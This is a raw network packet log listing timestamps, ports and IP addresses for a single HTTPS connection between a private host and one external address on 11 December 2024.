Dec 11, 2024 12:15:52.476578951 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.477828026 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.477854013 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.478193998 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.478193998 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.478193998 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.478221893 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.478468895 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.479634047 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.479660988 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.479787111 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.479968071 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.479975939 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.480159998 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.481057882 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.481085062 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.481228113 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.481410980 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.481410980 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.481410980 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.481420040 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.481671095 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.482676029 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.482702971 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.482935905 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.482935905 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.482935905 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.482965946 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.482984066 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.482984066 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.483258009 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.484473944 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.484499931 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.484668970 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.484668970 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.484695911 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.484850883 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.485043049 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.486232996 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.486258984 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.486383915 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.486383915 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.486562014 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.486562014 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.486562014 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.486576080 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.486784935 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.487206936 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.487382889 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.487384081 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.487417936 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.487426043 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.488183022 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.488208055 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.488750935 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.488750935 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.488761902 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.488933086 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.488933086 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.490411043 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.490436077 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.490562916 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.490573883 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.490758896 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.492036104 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.492060900 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.492197037 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.492377996 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.492377996 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.492377996 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.492388964 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.493865013 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.493895054 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.494030952 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.494030952 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.494055986 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.494221926 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.494221926 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.494221926 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.494221926 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.495709896 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.495734930 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.496067047 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.496067047 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.496067047 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.496067047 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.496067047 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.496085882 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.496834993 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.496864080 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.496978045 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.496989965 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.497000933 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.497000933 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.497191906 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.497191906 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.497191906 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.498378038 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.498579979 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.498605013 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.498738050 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.498754978 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.498895884 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.542212009 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.669471025 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.669477940 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.670011997 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.670197964 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.670213938 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.670393944 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.670403004 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.670550108 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.670712948 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.670730114 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.670931101 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.670931101 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.671016932 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.671016932 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.671022892 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.671202898 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.672450066 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.672467947 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.672617912 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.672617912 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.672792912 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.672792912 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.672792912 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.672800064 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.672985077 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.673666000 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.673680067 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.673897982 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.673897982 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.673897982 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.673911095 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.673998117 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.674180031 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.675218105 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.675235987 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.675559044 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.675559044 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.675570011 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.675749063 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.675749063 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.676949978 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.676976919 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.677545071 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.677545071 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.677545071 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.677545071 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.677545071 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.677557945 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.677726984 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.678329945 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.678347111 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.678492069 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.678492069 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.678673983 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.678673983 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.678679943 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.678865910 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.678865910 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.679229021 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.679244041 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.679387093 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.679567099 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.679567099 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.679567099 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.679567099 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.679575920 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.679761887 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.681062937 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.681077957 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.681221008 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.681221008 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.681404114 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.681404114 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.681410074 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.681596041 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.681596041 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.682754993 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.682769060 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.682928085 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.682928085 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.683104992 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.683104992 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.683104992 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.683111906 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.683300018 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.683815002 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.683829069 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.684200048 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.684200048 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.684200048 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.684200048 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.684212923 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.684448004 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.684448004 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.685599089 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.685612917 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.685758114 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.685758114 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.685941935 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.685941935 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.685941935 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.685947895 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.686132908 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.687026978 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.687043905 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.687189102 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.687189102 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.687367916 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.687367916 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.687374115 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.687527895 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.687527895 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.688707113 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.688721895 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.688911915 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.688920021 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.689100027 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.689100027 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.689100981 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.689568043 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.689584970 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.689728975 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.689908981 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.689908981 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.689909935 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.689909935 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.689917088 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.690100908 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.691380978 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.691397905 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.691540003 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.691720009 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.691720009 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.691720009 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.691729069 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.691911936 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.691911936 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.692500114 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.692517042 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.692790031 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.692790031 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.692971945 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.692971945 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.692971945 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.692979097 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.693321943 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.694117069 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.694130898 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.694279909 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.694279909 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.694459915 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.694459915 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.694467068 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.694652081 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.695405006 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.695420980 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.695549965 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.695597887 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.695597887 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.695605040 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.695770979 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.695770979 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.697185993 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.697208881 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.697355032 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.697355032 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.697530031 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.697530031 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.697530031 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.697536945 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.698126078 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.698395967 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.698411942 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.698755980 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.698755980 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.698755980 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.698765993 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.698800087 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.698978901 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.700063944 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.700082064 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.700217009 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.700217009 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.700392962 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.700397968 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.700584888 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.700584888 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.701036930 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.701664925 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.701678991 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.701819897 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.701819897 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.702002048 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.702002048 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.702002048 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.702008009 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.702193975 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.702964067 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.702977896 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.703217983 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.703217983 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.703217983 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.703229904 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.703403950 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.703403950 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.704832077 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.704849958 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.704993010 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.705173969 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.705173969 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.705173969 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.705173969 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.705182076 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.705763102 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.705766916 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.705775023 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.705925941 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.705935955 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.706018925 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.706027031 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.706207991 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.707660913 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.707674980 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.708017111 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.708028078 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.708209038 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.708509922 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.708522081 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.708668947 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.708668947 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.708714962 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.708720922 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.708900928 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.708900928 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.708900928 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.710400105 CET	443	49782	172.67.128.139	192.168.11.20
